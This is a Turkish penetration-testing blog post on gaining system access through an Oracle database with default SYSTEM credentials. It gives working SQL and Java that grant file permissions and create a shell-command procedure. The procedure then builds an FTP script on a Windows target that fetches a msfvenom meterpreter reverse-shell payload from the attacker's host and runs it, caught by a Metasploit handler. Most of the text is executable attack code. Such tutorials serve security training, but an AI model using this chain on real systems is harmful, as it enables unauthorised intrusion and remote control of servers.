17 Mart 2017

Oracle Veritabanı Üzerinden Sistem Ele Geçirme

Veritabanları güçlü fonksiyonaliteleri sayesinde işletim sistemi ele geçirmeye giden yolu bize açabilirler. MSSQL Server için xp_cmdshell extended stored prosedürü ile komut satırı komutu çalıştırma, MySQL için INTO OUTFILE özelliği ile hedef sistemin dosya sistemine dosya yazarak hedef sistem üzerinde kod çalıştırma yöntemleri az sayıda adımda gerçekleştirilebildiği için çok bilinen yöntemlerdir. Ancak Oracle'da aynı sonuçlara ulaşmak için hem daha fazla adım atmak lazım, hem de uygulama geliştirme (ya da en azından kullandığınız uygulama kodunu anlama) ihtiyacı bulunmaktadır.

Oracle veritabanı üzerinden sistem ele geçirebilmek için (elbette) aşağıdaki 2 önkoşulu yerine getirmek gereklidir:
  • Veritabanı ağ servisine uzaktan erişim imkanı (bu TNS Listener servisi de olabilir, bir SQLi açıklığını da kullanabilirsiniz, ama SQLi üzerinden aşağıdaki işlemleri gerçekleştirmek çok daha zor olacaktır)
  • Veritabanına yüksek yetkilerle erişim imkanı (yani ele geçirdiğimiz güçlü bir kullanıcıya, örneğin SYSTEM kullanıcısına, ait bir parolaya sahip olma)

Oracle TNS Listener servisi genellikle TCP 1521 portunda bulunur, ancak elbette security through obscurity prensibini izleyen veritabanı yöneticilerinin bu portu değiştirmesi de mümkündür. Oracle servisinin tespiti konusu yazımızın alanına girmemektedir.

Öntanımlı kullanıcı ve parola testi içinse oscanner aracını aşağıdaki komut ile kullanabilirsiniz ($host yerine hedef sunucu IP adresi yazılmalıdır):

oscanner -v -s $host

Yetkili bir kullanıcının parolasını elde ettikten sonra yapılacaklar kabaca şu adımlardan oluşmaktadır:
  • Kullanıcımıza Java dosya sistemi yazma ve okuma hakları vermek (tabi güçlü kullanıcımızla bu hakları yine güçlü kullanıcımıza vereceğiz, ama bu haklar önceden tanımlı olmadığı için yine de bu işlemi yapmak zorundayız)
  • İşletim sistemi komut çalıştırma işlevselliğini kazanmak için bir Java class'ı oluşturmak
  • Java class'ımızı kullanacak bir PLSQL wrapper prosedürü oluşturmak
  • Ve daha sonra saldırı stratejimiz doğrultusunda PLSQL komutları ile bir önceki adımda oluşturduğumuz PLSQL prosedürünü kaç defa ve ne şekilde çağırmak gerekiyorsa çağırmak

Örnek senaryomuzda hedef sistem bir Windows işletim sistemidir.

Windows üzerinde Java ve PLSQL kodları oluşturarak komut satırı komutları çalıştırabilmek için kullandığımız kaynak https://oracle-base.com/articles/8i/shell-commands-from-plsql adresidir.

Oracle veritabanına komut satırı istemcisiyle ulaşabilmek için hedef Oracle versiyonuyla ve kullandığınız platformla uyumlu sqlplus kurulumunu yapmanız gerekir.

Ayrıca bağlanılacak TNS Listener servisi ile ilgili IP/sunucu adresi, port numarası, veritabanı adı gibi bilgilerin tnsnames.ora konfigürasyon dosyasına yazılması gerekmektedir. Bunu yapmadan sqlplus'u komut satırında kullanmak isterseniz şu şekilde kullanabilirsiniz ($host ve $dbname alanlarına hedef sunucu adı veya IP adresi ile enumeration ile tespit edeceğiniz veritabanı instance adını yazmalısınız):

sqlplus 'system/system@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=$host)(PORT=1521)))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=$dbname)))'

Aşağıdaki işlemleri bu bölümleri ayrı script dosyaları halinde kaydederek sqlplus'tan tek satırda @script.sql şeklinde çağırarak çalıştırabilirsiniz (tabi script dosyası sqlplus'ı çalıştırdığınız dizinin içindeyse, yoksa dosyanın yolunu ona göre vermelisiniz)
Hedef sunucuya bağlandıktan sonra öncelikle Java dosya sistemi erişim haklarımızı kullanıcımıza tanımlamalıyız (bu senaryoda SYSTEM kullanıcısının parolasının öntanımlı SYSTEM olarak bırakıldığını varsayıyoruz ve tüm işlemlerimizi de bu kullanıcı ile yapıyoruz):

DECLARE
  l_schema VARCHAR2(30) := 'system'; -- Adjust as required.
BEGIN
  DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
END;
/

Daha sonra komut satırı komutlarını çalıştırmak üzere bir bu fonksiyonaliteyi içeren bir Java sınıfı oluşturuyoruz (kod örneği yukarıda da belirtilen linkten alınmıştır, hedef sistem örneği Windows 2000 sunucudur):

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
  public static void executeCommand(String command) {
    try {
      String[] finalCommand;
      if (isWindows()) {
        finalCommand = new String[4];
        // Use the appropriate path for your windows version.
        finalCommand[0] = "C:\\winnt\\system32\\cmd.exe";    // Windows NT/2000
        //finalCommand[0] = "C:\\windows\\system32\\cmd.exe";    // Windows XP/2003
        //finalCommand[0] = "C:\\windows\\syswow64\\cmd.exe";  // Windows 64-bit
        finalCommand[1] = "/y";
        finalCommand[2] = "/c";
        finalCommand[3] = command;
      }
      else {
        finalCommand = new String[3];
        finalCommand[0] = "/bin/sh";
        finalCommand[1] = "-c";
        finalCommand[2] = command;
      }
  
      final Process pr = Runtime.getRuntime().exec(finalCommand);
      pr.waitFor();

      new Thread(new Runnable(){
        public void run() {
          BufferedReader br_in = null;
          try {
            br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
            String buff = null;
            while ((buff = br_in.readLine()) != null) {
              System.out.println("Process out :" + buff);
              try {Thread.sleep(100); } catch(Exception e) {}
            }
            br_in.close();
          }
          catch (IOException ioe) {
            System.out.println("Exception caught printing process output.");
            ioe.printStackTrace();
          }
          finally {
            try {
              br_in.close();
            } catch (Exception ex) {}
          }
        }
      }).start();
  
      new Thread(new Runnable(){
        public void run() {
          BufferedReader br_err = null;
          try {
            br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
            String buff = null;
            while ((buff = br_err.readLine()) != null) {
              System.out.println("Process err :" + buff);
              try {Thread.sleep(100); } catch(Exception e) {}
            }
            br_err.close();
          }
          catch (IOException ioe) {
            System.out.println("Exception caught printing process error.");
            ioe.printStackTrace();
          }
          finally {
            try {
              br_err.close();
            } catch (Exception ex) {}
          }
        }
      }).start();
    }
    catch (Exception ex) {
      System.out.println(ex.getLocalizedMessage());
    }
  }
  
  public static boolean isWindows() {
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
      return true;
    else
      return false;
  }
};
/

Java sınıfımızı kullanarak komutlarımızı bu sınıfın executeCommand metoduna ileten wrapper PLSQL prosedürümüzü oluşturuyoruz (wrapper kabaca bize daha sonra kullanacağımız PL/SQL komutlarını daha rahat kullanma imkanı verecek bir kabuk işlevi görecek):

CREATE OR REPLACE PROCEDURE host_command (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA 
NAME 'Host.executeCommand (java.lang.String)';
/

Kurduğumuz altyapının sağlıklı çalışıp çalışmadığını aşağıdaki PL/SQL komutları ile test edebiliriz:

SET SERVEROUTPUT ON SIZE 1000000
CALL DBMS_JAVA.SET_OUTPUT(1000000);

BEGIN
  host_command (p_command => 'dir');
END;
/

Testimiz başarılı olduysa artık hedef sistem üzerinde sistemi ele geçirme amaçlı komutlarımızı çalıştırabiliriz. Buradaki örnek daha öncede söylediğimiz gibi bir Windows 2000 sunucu. Strateji genel olarak benzer olacaktır ancak farklı işletim sistemlerinde farklı yöntemleri izlemeniz gerekir.

Hedef sistem üzerinde komut çalıştırmaya başladığımıza göre şu adımları izleyebiliriz:

Hedef sisteme bu sistem üzerinde çalışabilecek bir payload aktaracağız. Bunun için sistem üzerinde zaten var olan imkanları kullanmak zorundayız. Eğer bu bir Linux sistem olsaydı pekçok Linux sunucuda hazır bulunacak wget aracını kullanabilirdik. Ama bir Windows sunucuda işimiz biraz daha zor olacaktır. Bu durumda izleyeceğimiz strateji bir ftp script'i oluşturmak ve ftp komutunu bu script'i kullanarak çalıştırmak olacak.

Tabi bundan önce birinci olarak payload'umuzu oluşturacağız, ikinci olarak da bir ftp sunucusu çalıştıracağız. ftp servisi için Metasploit çok kullanışlı açıkçası:

Payload'umuzu /root dizinimizin altında oluşturacağımızı varsayarsak, Metasploit'un ftp sunucu modülünü şu şeklilde kullanabiliriz.

use auxiliary/server/ftp
set ftproot /root/
exploit

Bir reverse TCP meterpreter payload'umuzu da aşağıdaki gibi oluşturabiliriz ($kali_ip adresini kendi saldırı platformunuzun IP adresi ile değiştiriniz).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$kali_ip LPORT=4444 -f exe > payload.exe

Hedef sistem üzerinde ftp script'ini oluşturmak, ftp scriptini çalıştırarak payload'u çekmek ve paylaod'u çalıştırmak için sqlplus üzerinden şu komutları çalıştırmamız gerekmektedir:

SET SERVEROUTPUT ON SIZE 1000000
CALL DBMS_JAVA.SET_OUTPUT(1000000);

BEGIN
  host_command (p_command => 'echo open $kali_ip > C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'echo anonymous >> C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'echo farketmez  >> C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'echo binary  >> C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'echo get payload.exe  C:\\WINNT\\TEMP\\payload.exe >> C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'echo bye >> C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'ftp -s:C:\\WINNT\\TEMP\\ftp.txt');
  host_command (p_command => 'dir C:\WINNT\TEMP\');
END;
/

SET SERVEROUTPUT ON SIZE 1000000
CALL DBMS_JAVA.SET_OUTPUT(1000000);

BEGIN
  host_command (p_command => 'C:\\WINNT\\TEMP\\payload.exe');
END;
/

Bu işlemin öncesinde aşağıdaki şekilde Metasploit handler'ınızı başlatmayı unutmayınız ($kali_ip adresini kendi saldırı platformunuzun IP adresi ile değiştiriniz):

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $kali_ip
set LPORT 4444
set ExitOnSession false
exploit -j -z